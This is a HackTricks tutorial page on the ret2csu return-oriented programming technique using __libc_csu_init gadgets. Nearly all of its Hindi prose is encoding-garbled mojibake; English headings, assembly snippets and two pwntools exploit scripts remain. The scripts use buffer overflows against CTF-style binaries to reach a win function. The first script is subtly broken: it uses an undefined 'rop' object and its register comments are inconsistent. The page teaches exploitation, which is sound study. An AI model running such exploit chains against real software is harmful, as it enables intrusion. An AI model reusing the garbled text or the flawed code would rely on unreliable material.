Ret2csu

Reading time: 8 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

https://www.scs.stanford.edu/brop/bittau-brop.pdfрдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

ret2csu рдПрдХ рд╣реИрдХрд┐рдВрдЧ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ gadgets рдирд╣реАрдВ рдорд┐рд▓рддреЗред

рдЬрдм рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ (рдЬреИрд╕реЗ libc) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рдмрд╛рддрдЪреАрдд рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХрд╛рд░реНрдп рд╣реЛрддреЗ рд╣реИрдВред рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рдХреБрдЫ рдЫрд┐рдкреЗ рд╣реБрдП рд░рддреНрди рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рдЧрд╛рдпрдм gadgets рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдХ рдЬрд┐рд╕реЗ __libc_csu_init рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

__libc_csu_init рдореЗрдВ рдЬрд╛рджреБрдИ Gadgets

__libc_csu_init рдореЗрдВ, рджреЛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо (gadgets) рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВ:

  1. рдкрд╣рд▓рд╛ рдЕрдиреБрдХреНрд░рдо рд╣рдореЗрдВ рдХрдИ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ (rbx, rbp, r12, r13, r14, r15) рдореЗрдВ рдорд╛рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рдЙрди рд╕реНрд▓реЙрдЯреНрд╕ рдХреА рддрд░рд╣ рд╣реЛрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╣рдо рдмрд╛рдж рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдЦреНрдпрд╛рдПрдБ рдпрд╛ рдкрддреЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
armasm
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;

рдпрд╣ рдЧреИрдЬреЗрдЯ рд╣рдореЗрдВ рдЗрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реНрдЯреИрдХ рд╕реЗ рдорд╛рдиреЛрдВ рдХреЛ рдкреЙрдк рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдПред

  1. рджреВрд╕рд░рд╛ рдЕрдиреБрдХреНрд░рдо рдЙрди рдорд╛рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╣рдордиреЗ рд╕реЗрдЯ рдХрд┐рдП рд╣реИрдВ, рдХреБрдЫ рдЪреАрдЬреЗрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:
  • рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдиреЛрдВ рдХреЛ рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, рдЙрдиреНрд╣реЗрдВ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд░рдирд╛ред
  • рдПрдХ рд╕реНрдерд╛рди рдкрд░ рдХреЙрд▓ рдХрд░реЗрдВ рдЬреЛ r15 рдФрд░ rbx рдореЗрдВ рдорд╛рдиреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдХрд░, рдлрд┐рд░ rbx рдХреЛ 8 рд╕реЗ рдЧреБрдгрд╛ рдХрд░рдХреЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
armasm
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8];
  1. рд╢рд╛рдпрдж рдЖрдк рд╡рд╣рд╛рдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдкрддрд╛ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдФрд░ рдЖрдкрдХреЛ ret рдирд┐рд░реНрджреЗрд╢ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рджреВрд╕рд░рд╛ рдЧреИрдЬреЗрдЯ рднреА ret рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:
armasm
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; add rbx, 0x1; cmp rbp, rbx jnz <func> ... ret

рд╢рд░реНрддреЗрдВ рд╣реЛрдВрдЧреА:

  • [r12 + rbx*8] рдХреЛ рдПрдХ рдХреЙрд▓ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП (рдпрджрд┐ рдХреЛрдИ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХреЛрдИ pie рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдмрд╕ _init рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ):
  • рдпрджрд┐ _init 0x400560 рдкрд░ рд╣реИ, рддреЛ GEF рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдЦреЛрдЬреЗрдВ рдФрд░ [r12 + rbx*8] рдХреЛ _init рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░ рд╡рд╛рд▓рд╛ рдкрддрд╛ рдмрдирд╛рдПрдВ:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gefтЮд search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x 0x400e38 - 0x400e44 тЖТ "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- 0x600e38 - 0x600e44 тЖТ "\x60\x05\x40[...]"
  • rbp рдФрд░ rbx рдХрд╛ рдорд╛рди рд╕рдорд╛рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдХреВрдж рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ
  • рдХреБрдЫ рдЫреЛрдбрд╝реЗ рдЧрдП pops рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП

RDI рдФрд░ RSI

rdi рдФрд░ rsi рдХреЛ ret2csu рдЧреИрдЬреЗрдЯ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рд╡рд┐рд╢реЗрд╖ рдСрдлрд╕реЗрдЯреНрд╕ рддрдХ рдкрд╣реБрдВрдЪрдирд╛:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

BROP - Blind Return Oriented Programming

рдЙрджрд╛рд╣рд░рдг

рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдПрдХ syscall рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдпрд╛ write() рдЬреИрд╕реА рдХрд┐рд╕реА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди rdx рдФрд░ rsi рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рдорд╛рди рдЪрд╛рд╣рд┐рдПред рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдЖрдк рдЙрди рдЧреИрдЬреЗрдЯреНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдЗрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд╕реАрдзреЗ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк рдХреЛрдИ рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВред

рдпрд╣рд╛рдВ ret2csu рдХрд╛рдо рдореЗрдВ рдЖрддрд╛ рд╣реИ:

  1. рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: рдкрд╣рд▓реЗ рдЬрд╛рджреБрдИ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕реНрдЯреИрдХ рд╕реЗ рдорд╛рдиреЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдХрд░ rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), рдФрд░ r15 рдореЗрдВ рдбрд╛рд▓ рд╕рдХреЗрдВред
  2. рджреВрд╕рд░реЗ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: рдЙрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк рджреВрд╕рд░реЗ рдЧреИрдЬреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдЪреБрдиреЗ рд╣реБрдП рдорд╛рдиреЛрдВ рдХреЛ rdx рдФрд░ rsi (рдХреНрд░рдорд╢рдГ r14 рдФрд░ r13 рд╕реЗ) рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ рддреИрдпрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, r15 рдФрд░ rbx рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ, рдЖрдк рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдк рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдФрд░ [r15 + rbx*8] рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВред

рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдЗрд╕реЗ рд╕рдордЭрд╛рддреЗ рд╣реБрдП рд╣реИ, рдФрд░ рдпрд╣ рдЕрдВрддрд┐рдо рд╢реЛрд╖рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЗрд╕рдиреЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛:

python
from pwn import * elf = context.binary = ELF('./vuln') p = process() POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] RW_LOC = 0x00404028 rop.raw('A' * 40) rop.gets(RW_LOC) rop.raw(POP_CHAIN) rop.raw(0) # r12 rop.raw(0) # r13 rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! rop.raw(RW_LOC) # r15 - holds location of called function! rop.raw(REG_CALL) # all the movs, plus the call p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!"

warning

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрд┐рдЫрд▓реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп RCE рдХрд░рдирд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рдВрдХреНрд╢рди win рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИ (ROP рдЪреЗрди рдореЗрдВ win рдХреЗ рдкрддреЗ рдХреЛ stdin рд╕реЗ рдХреЙрд▓ рдХрд░рддреЗ рд╣реБрдП рдФрд░ рдЗрд╕реЗ r15 рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рддреЗ рд╣реБрдП) рддреАрд╕рд░реЗ рддрд░реНрдХ рдХреЗ рд╕рд╛рде рдЬрд┐рд╕рдХрд╛ рдорд╛рди 0xdeadbeefcafed00d рд╣реИред

рдХреЙрд▓ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдФрд░ рд░рд┐рдЯ рддрдХ рдкрд╣реБрдВрдЪрдирд╛

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЗрд╕ рдкреГрд╖реНрда рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ рдЬрд╣рд╛рдВ ret2csu рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдпрд╣ рддреБрд▓рдирд╛рдУрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдХреЙрд▓ рдХреЗ рдмрд╛рдж ret рддрдХ рдкрд╣реБрдВрдЪ рд░рд╣рд╛ рд╣реИ:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ from pwn import * # Establish the target process target = process('./ret2csu') #gdb.attach(target, gdbscript = 'b * 0x4007b0') # Our two __libc_csu_init rop gadgets csuGadget0 = p64(0x40089a) csuGadget1 = p64(0x400880) # Address of ret2win and _init pointer ret2win = p64(0x4007b1) initPtr = p64(0x600e38) # Padding from start of input to saved return address payload = "0"*0x28 # Our first gadget, and the values to be popped from the stack # Also a value of 0xf means it is a filler value payload += csuGadget0 payload += p64(0x0) # RBX payload += p64(0x1) # RBP payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]` payload += p64(0xf) # R13 payload += p64(0xf) # R14 payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX # Our second gadget, and the corresponding stack values payload += csuGadget1 payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment payload += p64(0xf) # RBX payload += p64(0xf) # RBP payload += p64(0xf) # R12 payload += p64(0xf) # R13 payload += p64(0xf) # R14 payload += p64(0xf) # R15 # Finally the address of ret2win payload += ret2win # Send the payload target.sendline(payload) target.interactive()

Why Not Just Use libc Directly?

рдЖрдорддреМрд░ рдкрд░ рдпреЗ рдорд╛рдорд▓реЗ рднреА ret2plt + ret2lib рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдЙрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рд╕реАрдзреЗ libc рдореЗрдВ рдкрд╛рдП рдЧрдП рдЧреИрдЬреЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдЖрд╕рд╛рдиреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, write() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рддреАрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдФрд░ рдЗрди рд╕рднреА рдХреЛ рд╕реАрдзреЗ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЧреИрдЬреЗрдЯреНрд╕ рдЦреЛрдЬрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ